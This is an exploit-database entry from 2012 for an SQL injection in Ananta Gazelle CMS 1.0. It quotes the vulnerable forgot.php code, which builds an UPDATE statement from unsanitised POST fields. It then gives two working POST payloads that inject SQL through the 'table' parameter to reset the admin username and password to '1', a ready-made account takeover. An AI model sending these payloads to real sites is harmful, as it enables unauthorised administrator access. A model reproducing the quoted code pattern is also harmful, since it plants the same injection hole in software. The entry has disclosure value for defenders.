Ananta Gazelle CMS - Update Statement Sql injection

ID 1337DAY-ID-17502
Type zdt
Reporter hackme
Modified 2012-02-07T00:00:00


Exploit for php platform in category web applications

                                            # Exploit Title: Ananta Gazelle CMS - Update Statement Sql injection
# Google Dork: -
# Date: 07-02-2012
# Author: hackme
# Software Link: 1.0 stable/
# Version: 1.0 stable
# Tested on: backbox 2.1
# CVE : -
[+] This sql injection doesn't allow us to read the contents of the tables, but to do the update statement of the username and password of admin.
Since you can't enter a special chars as the apex, and then we don't change the username and password in what we want, we will copy the value of a column with default value in column username and password.
In fact we have:
    admin - username = 1
              - password = 1
[+] Vulnerable Code(forgot.php):
if (!empty($_POST) && !isset($_POST["loginform"])) {
    // form submitted, set a new activation key for this user (however don't set the user to inactive, so no-one can block someone else's account
    $sql = "UPDATE ".$tableprefix.$_POST["table"]." SET ";
    if ($_POST["activate"] <> "") {
        $sql = $sql."activate='".$_POST["activate"]."'";
    $sql = $sql." WHERE email"."='".$_POST["email"]."'";
    //no control
    if (mysql_query($sql)) {
[+] default table users columns: number,name,pass,email,activate,active,admin,joindate,showemail
[+] Risk: High
[+] Vuln Page:
[+] Change admin username in "1" [POST-DATA]
email=&save=Save&table=users SET name=active where number=1--&activate=lol&location=/ananta/forgot.php
[+] Change admin password in "1" [POST-DATA]
email=v&save=Save&table=users SET pass=md5(active) where number=1--&activate=lol&location=/ananta/forgot.php
[+]...If You Really Want Something, You Can Have It...
[+] Greetz To: MZ

# [2018-04-08]  #